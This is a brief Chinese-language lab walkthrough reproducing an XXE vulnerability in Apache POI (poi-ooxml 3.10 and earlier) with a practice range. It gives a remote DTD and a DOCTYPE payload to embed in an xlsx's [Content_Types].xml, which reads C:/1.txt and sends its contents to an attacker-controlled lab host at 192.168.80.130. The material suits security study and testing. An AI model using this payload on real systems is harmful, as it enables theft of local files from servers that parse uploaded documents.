一、 漏洞影响
poi-ooxml3.10及以下
二、环境搭建
1. 漏洞环境使用大佬的java靶场:https://github.com/JoyChou93/java-sec-code.git。在C盘下新建1.txt,文件内容为success,用于演示文件读取
2. 使用python起一个web服务用来加载远程dtd文件,在web服务目录下放置一个xxe.dtd
<!ENTITY % all "<!ENTITY % send SYSTEM 'http://192.168.80.130/%file;'>">
%all;
3. 制作包含payload的Excel
-
新建一个Excel文档xxe.xlsx,修改后缀为zip后解压,解压后的目录结构如下
-
在[Content_Types].xml中添加payload
<!DOCTYPE ANY [ <!ENTITY % file SYSTEM "file:///C:/1.txt"> <!ENTITY % dtd SYSTEM "http://192.168.80.130/xxe.dtd"> %dtd; %send;]>
-
再将所有文件压缩成zip,修改后缀为xlsx